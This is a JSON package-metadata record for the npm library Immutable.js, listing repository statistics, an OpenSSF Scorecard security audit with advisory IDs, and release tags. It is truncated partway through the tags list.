{"id":1863213,"name":"immutable","ecosystem":"npm","description":"Immutable Data Collections","homepage":"https://immutable-js.com","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/immutable-js/immutable-js","keywords_array":["immutable","persistent","lazy","data","datastructure","functional","collection","stateless","sequence","iteration"],"namespace":null,"versions_count":117,"first_release_published_at":"2013-02-28T22:15:16.995Z","latest_release_published_at":"2026-05-28T22:51:20.050Z","latest_release_number":"5.1.6","last_synced_at":"2026-06-06T01:11:23.665Z","created_at":"2022-04-09T17:35:08.348Z","updated_at":"2026-06-06T07:11:33.700Z","registry_url":"https://www.npmjs.com/package/immutable","install_command":"npm install immutable","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"5.1.6","version-4":"4.3.8","version-3":"3.8.3"}},"repo_metadata":{"id":18256937,"uuid":"21413198","full_name":"immutable-js/immutable-js","owner":"immutable-js","description":"Immutable persistent data collections for Javascript which increase efficiency and simplicity.","archived":false,"fork":false,"pushed_at":"2026-05-22T05:30:04.000Z","size":148070,"stargazers_count":33062,"open_issues_count":125,"forks_count":1844,"subscribers_count":484,"default_branch":"main","last_synced_at":"2026-05-26T18:25:06.765Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://immutable-js.com","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/immutable-js.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":".github/CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jdeniau"]}},"created_at":"2014-07-02T06:02:29.000Z","updated_at":"2026-05-25T13:09:20.000Z","dependencies_parsed_at":"2024-01-12T04:58:01.752Z","dependency_job_id":"cbd3ea60-5050-4c7a-b97c-312810ad5803","html_url":"https://github.com/immutable-js/immutable-js","commit_stats":{"total_commits":1610,"total_committers":228,"mean_commits":7.06140350877193,"dds":"0.32795031055900625","last_synced_commit":"81a9175439ae220ab80c816b003d2322e006eb13"},"previous_names":["facebook/immutable-js"],"tags_count":101,"template":false,"template_full_name":null,"purl":"pkg:github/immutable-js/immutable-js","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/immutable-js","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/sbom","scorecard":{"id":390804,"data":{"date":"2025-08-11","repo":{"name":"github.com/immutable-js/immutable-js","commit":"2466c7253b847354e4acc43448745bde3183a129"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":6.5,"checks":[{"name":"Code-Review","score":1,"reason":"Found 2/14 approved changesets -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 6 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/release.yml:12","Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Warn: no topLevel permission defined: .github/workflows/output_diff.yml:1","Warn: no topLevel permission defined: .github/workflows/release.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":5,"reason":"dependency not pinned by hash detected -- score normalized to 5","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:107: update your workflow using https://app.stepsecurity.io/secureworkflow/immutable-js/immutable-js/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:110: update your workflow using https://app.stepsecurity.io/secureworkflow/immutable-js/immutable-js/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:113: update your workflow using https://app.stepsecurity.io/secureworkflow/immutable-js/immutable-js/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:123: update your workflow using https://app.stepsecurity.io/secureworkflow/immutable-js/immutable-js/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:133: update your workflow using https://app.stepsecurity.io/secureworkflow/immutable-js/immutable-js/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/immutable-js/immutable-js/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/immutable-js/immutable-js/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/immutable-js/immutable-js/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/immutable-js/immutable-js/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/immutable-js/immutable-js/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:37: update your workflow using https://app.stepsecurity.io/secureworkflow/immutable-js/immutable-js/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:42: update your workflow using https://app.stepsecurity.io/secureworkflow/immutable-js/immutable-js/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:55: update your workflow using https://app.stepsecurity.io/secureworkflow/immutable-js/immutable-js/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/immutable-js/immutable-js/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:59: update your workflow using https://app.stepsecurity.io/secureworkflow/immutable-js/immutable-js/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:86: update your workflow using https://app.stepsecurity.io/secureworkflow/immutable-js/immutable-js/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/immutable-js/immutable-js/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/immutable-js/immutable-js/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/output_diff.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/immutable-js/immutable-js/output_diff.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/output_diff.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/immutable-js/immutable-js/output_diff.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/output_diff.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/immutable-js/immutable-js/output_diff.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/output_diff.yml:30: update your workflow using https://app.stepsecurity.io/secureworkflow/immutable-js/immutable-js/output_diff.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/immutable-js/immutable-js/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/immutable-js/immutable-js/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/immutable-js/immutable-js/release.yml/main?enable=pin","Info:   0 out of  23 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned","Info:   8 out of   8 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: TypeScriptPropertyBasedTesting integration found: __tests__/Conversion.ts:2","Info: TypeScriptPropertyBasedTesting integration found: __tests__/Equality.ts:2","Info: TypeScriptPropertyBasedTesting integration found: __tests__/KeyedSeq.ts:2","Info: TypeScriptPropertyBasedTesting integration found: __tests__/List.ts:2","Info: TypeScriptPropertyBasedTesting integration found: __tests__/Map.ts:2","Info: TypeScriptPropertyBasedTesting integration found: __tests__/Range.ts:2","Info: TypeScriptPropertyBasedTesting integration found: __tests__/Stack.ts:2","Info: TypeScriptPropertyBasedTesting integration found: __tests__/hash.ts:2","Info: TypeScriptPropertyBasedTesting integration found: __tests__/join.ts:2","Info: TypeScriptPropertyBasedTesting integration found: __tests__/minmax.ts:2","Info: TypeScriptPropertyBasedTesting integration found: __tests__/slice.ts:2","Info: TypeScriptPropertyBasedTesting integration found: __tests__/splice.ts:2","Info: TypeScriptPropertyBasedTesting integration found: __tests__/zip.ts:2","Info: TypeScriptPropertyBasedTesting integration found: __tests__/Conversion.ts:2","Info: TypeScriptPropertyBasedTesting integration found: __tests__/Equality.ts:2","Info: TypeScriptPropertyBasedTesting integration found: __tests__/KeyedSeq.ts:2","Info: TypeScriptPropertyBasedTesting integration found: __tests__/List.ts:2","Info: TypeScriptPropertyBasedTesting integration found: __tests__/Map.ts:2","Info: TypeScriptPropertyBasedTesting integration found: __tests__/Range.ts:2","Info: TypeScriptPropertyBasedTesting integration found: __tests__/Stack.ts:2","Info: TypeScriptPropertyBasedTesting integration found: __tests__/hash.ts:2","Info: TypeScriptPropertyBasedTesting integration found: __tests__/join.ts:2","Info: TypeScriptPropertyBasedTesting integration found: __tests__/minmax.ts:2","Info: TypeScriptPropertyBasedTesting integration found: __tests__/slice.ts:2","Info: TypeScriptPropertyBasedTesting integration found: __tests__/splice.ts:2","Info: TypeScriptPropertyBasedTesting integration found: __tests__/zip.ts:2"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/release.yml:9"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 25 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":6,"reason":"4 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-xffm-g5w8-qvg7","Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-fjxv-7rqg-78g4","Warn: Project is vulnerable to: GHSA-r2fc-ccr8-96c4"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-18T17:45:02.653Z","repository_id":18256937,"created_at":"2025-08-18T17:45:02.653Z","updated_at":"2025-08-18T17:45:02.653Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33783219,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-01T02:00:06.963Z","response_time":115,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"immutable-js","name":"Immutable.js","uuid":"46405934","kind":"organization","description":"","email":null,"website":"immutable-js.com","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/46405934?v=4","repositories_count":1,"last_synced_at":"2024-03-25T18:40:14.913Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/immutable-js","funding_links":[],"total_stars":32844,"followers":29,"following":0,"created_at":"2022-11-02T16:20:41.009Z","updated_at":"2024-03-25T18:40:14.923Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/immutable-js","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/immutable-js/repositories"},"tags":[{"name":"v3.8.3","sha":"c4074256bf48ab372fdad2b3d47db89306a5211e","kind":"commit","published_at":"2026-03-06T08:04:37.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v3.8.3","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v3.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v3.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v3.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v3.8.3/manifests"},{"name":"v4.3.8","sha":"485cbe0edf3ca7bb4b9c4a80ac55ba937a291da0","kind":"tag","published_at":"2026-03-03T22:22:21.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.3.8","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.3.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.3.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.3.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.3.8/manifests"},{"name":"v5.1.5","sha":"b37b85568632227751ddc8a16034cacc0f42b652","kind":"tag","published_at":"2026-03-03T22:16:00.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v5.1.5","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v5.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v5.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.1.5/manifests"},{"name":"v5.1.4","sha":"6618019acce116395d8c8ab4260d94cb4ec158e6","kind":"tag","published_at":"2025-10-13T07:19:11.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v5.1.4","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v5.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v5.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.1.4/manifests"},{"name":"v5.1.3","sha":"7ec404f4fab0ea21f47a186a9aa39d1dc8b713e2","kind":"tag","published_at":"2025-06-11T21:43:58.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v5.1.3","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v5.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v5.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.1.3/manifests"},{"name":"v5.1.2","sha":"e8106161fea7256d6f390dc646a2920473c2fd7b","kind":"tag","published_at":"2025-05-05T22:24:25.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v5.1.2","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v5.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v5.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.1.2/manifests"},{"name":"v5.1.1","sha":"829b2ee566bb8fe5e487b1593e2011d8058cf9c1","kind":"tag","published_at":"2025-03-25T23:57:57.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v5.1.1","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v5.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v5.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.1.1/manifests"},{"name":"v5.1.0","sha":"0f4c3382b8b7e92a7b6f420561e3b2aa37c85e62","kind":"tag","published_at":"2025-03-25T19:39:58.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v5.1.0","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v5.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v5.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.1.0/manifests"},{"name":"v5.0.3","sha":"0fc45d35d09ae57e9e1746c006d3186cf5d7e79d","kind":"tag","published_at":"2024-11-19T14:41:46.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v5.0.3","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v5.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v5.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.0.3/manifests"},{"name":"v5.0.2","sha":"879f42893cebbad6fcf4fad5425c408ac08a57b5","kind":"tag","published_at":"2024-11-08T00:13:30.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v5.0.2","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v5.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v5.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.0.2/manifests"},{"name":"v5.0.1","sha":"52c3c64209c666be1b653d49547f87a96a51090b","kind":"tag","published_at":"2024-11-07T23:54:58.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v5.0.1","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v5.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v5.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.0.1/manifests"},{"name":"v5.0.0","sha":"c90cdc263d94553b2439bbff4f761f4df7f361af","kind":"tag","published_at":"2024-11-03T22:55:06.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v5.0.0","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v5.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v5.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.0.0/manifests"},{"name":"v5.0.0-rc.2","sha":"7838ab1123eb0258925a69c33b62c6dc12239872","kind":"commit","published_at":"2024-10-17T23:05:59.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v5.0.0-rc.2","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v5.0.0-rc.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v5.0.0-rc.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.0.0-rc.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.0.0-rc.2/manifests"},{"name":"v5.0.0-rc.1","sha":"9ff692046c7a2722b8bec6477f8efe7733aeb3c0","kind":"tag","published_at":"2024-07-22T13:09:38.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v5.0.0-rc.1","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v5.0.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v5.0.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.0.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.0.0-rc.1/manifests"},{"name":"v4.3.7","sha":"37ca4170060827e5f4eaa1969d1b61e5dc5eb11d","kind":"commit","published_at":"2024-07-22T12:07:34.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.3.7","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.3.7/manifests"},{"name":"v4.3.6","sha":"493afba6ec17d9c999dc5a15ac80c71c6bdba1c3","kind":"commit","published_at":"2024-05-13T08:59:44.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.3.6","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.3.6/manifests"},{"name":"v5.0.0-beta.5","sha":"a8478b6d151a6f013c54fe5f547a9198ffbd3277","kind":"tag","published_at":"2024-01-26T11:16:58.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v5.0.0-beta.5","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v5.0.0-beta.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v5.0.0-beta.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.0.0-beta.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.0.0-beta.5/manifests"},{"name":"v4.3.5","sha":"a5b50b2dcc36898e153ba8f1760ca7fc5d941046","kind":"tag","published_at":"2024-01-26T10:30:39.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v4.3.5","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v4.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v4.3.5/manifests"},{"name":"v5.0.0-beta.4","sha":"8776e0f6b37eed647e65127852622976d8e978ed","kind":"commit","published_at":"2023-08-28T12:49:39.000Z","download_url":"https://codeload.github.com/immutable-js/immutable-js/tar.gz/v5.0.0-beta.4","html_url":"https://github.com/immutable-js/immutable-js/releases/tag/v5.0.0-beta.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/immutable-js/immutable-js@v5.0.0-beta.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/tags/v5.0.0-beta.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutabl